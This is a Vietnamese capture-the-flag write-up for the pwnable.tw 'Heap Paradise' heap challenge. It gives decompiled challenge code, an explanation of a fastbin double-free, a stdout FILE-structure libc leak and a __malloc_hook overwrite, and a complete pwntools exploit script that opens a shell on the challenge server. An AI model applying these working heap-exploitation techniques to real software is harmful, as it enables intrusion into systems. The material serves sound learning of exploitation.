pwnable.tw - Heap Paradise [350 pts] from Đỗ Tiến Đạt with love

 Vào 1 ngày đẹp trời mình rảnh quá kiếm bài trên pwnable.tw về làm, như hồi xưa vậy. Và đây là 1 bài heap

#include <stdio.h>

char* DAT_00302040; // 0x302040

// 0x100ac1
void setup(void) {
setvbuf(stdin, (char *)0x0, 2, 0);
setvbuf(stdout, (char *)0x0, 2, 0);
setvbuf(stderr, (char *)0x0, 2, 0);
signal(0xe, FUN_00100aa0);
alarm(0x3c);
return;
}

// 0x100b49
long long read_int(void) {
long long lVar1;
long in_FS_OFFSET;
char local_28[24];
long local_10;

local_10 = *(long *)(in_FS_OFFSET + 0x28);
__read_chk(0, local_28, 0x17, 0x18);
lVar1 = atoll(local_28);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
__stack_chk_fail();
}
return lVar1;
}

// 0x100c21
void menu(void) {
puts("***********************");
puts(" Heap Paradise ");
puts("***********************");
puts(" 1. Allocate ");
puts(" 2. Free ");
puts(" 3. Exit ");
puts("***********************");
printf("You Choice:");
return;
}

// 0x100dd5
void main(void) {
long lVar1;

setup();
while (1) {
while (1) {
menu();
lVar1 = read_int();
if (lVar1 != 2)
break;
Free();
}
if (lVar1 == 3)
break;
if (lVar1 == 1) {
Allocate();
} else {
puts("Invalid Choice !");
}
}
_exit(0);
}

// 0x100baa
void read_input(long param_1, int param_2) {
int iVar1;

iVar1 = __read_chk(0, param_1, param_2, param_2);
if (iVar1 < 0) {
puts("read error");
_exit(1);
}
if (*(char *)(param_1 + (long)iVar1 + -1) == '\n') {
*(char *)(param_1 + (long)iVar1 + -1) = 0;
}
return;
}

// 0x100c8d
void Allocate(void) {
unsigned long __size;
void *pvVar1;
int local_14;

local_14 = 0;
while (1) {
if (0xf < local_14) {
puts("You can\'t allocate anymore !");
return;
}
if (*(long *)(&DAT_00302040 + (long)local_14 * 8) == 0)
break;
local_14 = local_14 + 1;
}
printf("Size :");
__size = read_int();
if (0x78 < __size) {
return;
}
pvVar1 = malloc(__size);
*(void **)(&DAT_00302040 + (long)local_14 * 8) = pvVar1;
if (*(long *)(&DAT_00302040 + (long)local_14 * 8) != 0) {
printf("Data :");
read_input(*(long *)(&DAT_00302040 + (long)local_14 * 8), __size & 0xffffffff);
return;
}
puts("Error!");
_exit(-1);
}

// 0x100d8d
void Free(void) {
long lVar1;

printf("Index :");
lVar1 = read_int();
if (lVar1 < 0x10) {
free(*(void **)(&DAT_00302040 + lVar1 * 8));
}
return;
}


Ok rất cơ bản của 1 bài heap, trừ 1 chuyển nó ko có chức năng show mà chỉ có Allocate và Free, kiểu đập ngay trong đầu là phải thay đổi _IO_2_1_stdout_ để leak libc, bị mấy bài heap đấm nhiều nên quen.

Bài này đập vào mắt là thấy 2 lỗi, thứ nhất là free nhưng không clean trong mảng dẫn tới fast bin double free, một lỗi nữa là hàm Free nó không kiểm tra index âm, :)) thật ra lỗi này mình không dùng khi exploit.

Có 3 cái khó của bài này là nó ko có chức năng show như các bài heap bình thường, thứ 2 là tối đa Allocate được 15 lần thôi, mà double free attack cần nhiều lần malloc, nên phải hạn chế dùng double free. Cái khó thứ 3 là size nhỏ hơn 0x80 dẫn đến bài chỉ xoay quanh fast bin, mà muốn địa chỉ libc tồn tại trong heap thì bắt buộc phải có 1 bin trong unsorted bin.

Allocate(0x60, p64(0) + p64(0x71))
Allocate(0x60, p64(0) + p64(0x21) + p64(0)*3 + p64(0x41))
Free(1)
Free(0)
Free(1)

Ban đâu tạo 2 chunk chính và các fake chunk để dùng sau. Sau đó double free nó



Ok xong double free, tiếp theo allocate 4 lần

Allocate(0x60, b'\x10')
Allocate(0x60, b'\n')
Allocate(0x60, b'\n')
Allocate(0x60, b'\n')

Allocate lần đầu để ghi đè '\x10' khiến bin thứ 3 trong fast bin trỏ tới fake chunk của mình, dẫn tới overlap chunk và allocate lần thứ 4 trả về fake chunk.




Như hình trên ta thấy array[5] đang trỏ tới fake chunk và fake chunk này đang bị overlap bởi arr[0]

Tiếp theo free fake chunk thì nó sẽ vào fast bin size 0x70, tiện tay cất tạm vào fast bin để sau dùng.

Sau đó Free arr[0] rồi malloc lại nó để có thể ghi đè fake chunk size thành 0x91, sau đó free fake chunk. Do size là 0x90 nên nó bị đẩy vào unsorted bin.

Free(5)

Free(0)
Allocate(0x60, p64(0) + p64(0x91))
Free(5)



Ok, giờ đã có 1 địa chỉ libc nằm trên heap, lại dùng tiếp thủ đoạn Free arr[0] rồi malloc ghi đè 2 byte cuối của địa chỉ main arena + 0x88, để nó trỏ tới _IO_2_1_stdout_- 0x43. Kỹ thuật này gần giống với tấn công __malloc_hook bằng fast bin nhưng thay vì __malloc_hook thì tấn công _IO_2_1_stdout_. Nhưng chúng ta chỉ đoán được 24 bit cuối của _IO_2_1_stdout - 0x43, 

Ví dụ: ban đầu chunk trong unsorted bin trỏ tới main arena + 0x88: 0x7f15c8337b78, chúng ta biết 3 số cuối là 0xb78. Bây giờ muốn ghi đè thành _IO_2_1_stdout_ - 0x43: 0x7f15c83385dd, chúng ta biết 3 số cuối là 0x5dd nên ta phải đoán với xác xuất đúng 1/16.

Giả sử chúng ta đoán đúng.


Bây giờ thì dễ rồi, malloc thêm 2 lần nữa là ta có thể ghi đè _IO_2_1_stdout_, các bạn có thể dùng rất nhiều kỹ thuật để khai thác _IO_2_1_stdout_, nhưng giờ chỉ cần leak địa chỉ libc nên mình sẽ ghi đè byte cuối _IO_write_base

Đây là link giải thích của một wibu Trung Quốc (chắc mình phải học tiếng Trung mất, write up pwn của mấy anh hàng xóm nhiều vch :v)

https://c0yo7e.github.io/2020/08/01/IO-FILE-leakaddr/

Ok thế là xong nhé, leak được libc rồi thì chỉ đơn giản là double free attack thêm phát nữa để ghi đè __malloc_hook bằng one gadget, không có gì đặc biệt. Nếu chạy trên server mà xịt thì thử lại nhé vì xác suất đúng là 1/16 mà.

Đọc write up thì có vè basic nhưng nó không dễ thế, như mình nói bài này có 3 cái khó cần giải quyết và bài dùng tương đối kỹ thuật. Nhưng hơi buồn là mình làm bài này hơi lâu, cũng vì lâu không khai thác heap ở các libc phiên bản cũ và mình vẫn còn lăn tăn khi dùng các kỹ thuật liên quan _IO_FILE mà đáng lẽ những người chơi pwn gần 1 năm phải thành thạo. 

Các giải CTF cuối tuần ít có mấy bài heap yêu cầu tính toán nhiều bước, build chunk chính xác như thế này, nên nếu muốn nâng trình heap thì mình recommend làm hết các bài trên pwnable.tw

Đây mà mã khai thác:

from pwn import *

local = 1
if local:
r = process('./heap_paradise_patched')
else:
r = remote('chall.pwnable.tw', 10308)
context.clear(os='linux', arch='x86_64', log_level='debug')
bin = ELF('./heap_paradise_patched')
libc = ELF('./libc.so.6')

def Allocate(size, data):
r.sendlineafter(b'You Choice:', b'1')
r.sendlineafter(b'Size :', str(size).encode())
r.sendafter(b'Data :', data)

def Free(idx):
r.sendlineafter(b'You Choice:', b'2')
r.sendlineafter(b'Index :', str(idx).encode())

if local:
with open('/proc/%d/maps' % r.pid, 'r') as f:
base = int('0x' + f.read(12), 16)
for _ in range(3):
print(f.readline())
libc.address = int('0x' + f.read(12), 16)
two_bytes = p64(libc.symbols['_IO_2_1_stdout_'] - 0x43)[:2]
else:
two_bytes = b'\xdd\x25'

Allocate(0x60, p64(0) + p64(0x71))
Allocate(0x60, p64(0) + p64(0x21) + p64(0)*3 + p64(0x41))
Free(1)
Free(0)
Free(1)
Allocate(0x60, b'\x10')
Allocate(0x60, b'\n')
Allocate(0x60, b'\n')
Allocate(0x60, b'\n')
Free(5)

Free(0)
Allocate(0x60, p64(0) + p64(0x91))
Free(5)

Free(0)
# Allocate(0x60, p64(0) + p64(0x71) + b'\xdd\x25')
Allocate(0x60, p64(0) + p64(0x71) + two_bytes)
# gdb.attach(r, '''b*%d''' % (base + 0xdf2))
Allocate(0x60, b'\n')
Allocate(0x60, b'\x00'*0x33 + p64(0xfbad3887) + p64(0)*3 + b'\x80')
libc.address = u64(r.recv(16)[8:]) - 0x3c38e0
log.success('Libc base: %#x' % libc.address)

Free(0)
Free(1)
Free(0)

Allocate(0x60, p64(libc.symbols['__malloc_hook'] - 0x23))
Allocate(0x60, b'\n')
Allocate(0x60, b'\n')
Allocate(0x60, b'\x00'*3 + p64(libc.address + 0x85270) + \
    p64(libc.address + 0x84e50) + \
p64(libc.address + 0xef6c4))
r.sendlineafter(b'You Choice:', b'1')
r.sendlineafter(b'Size :', str(8).encode())
r.interactive()

Nhận xét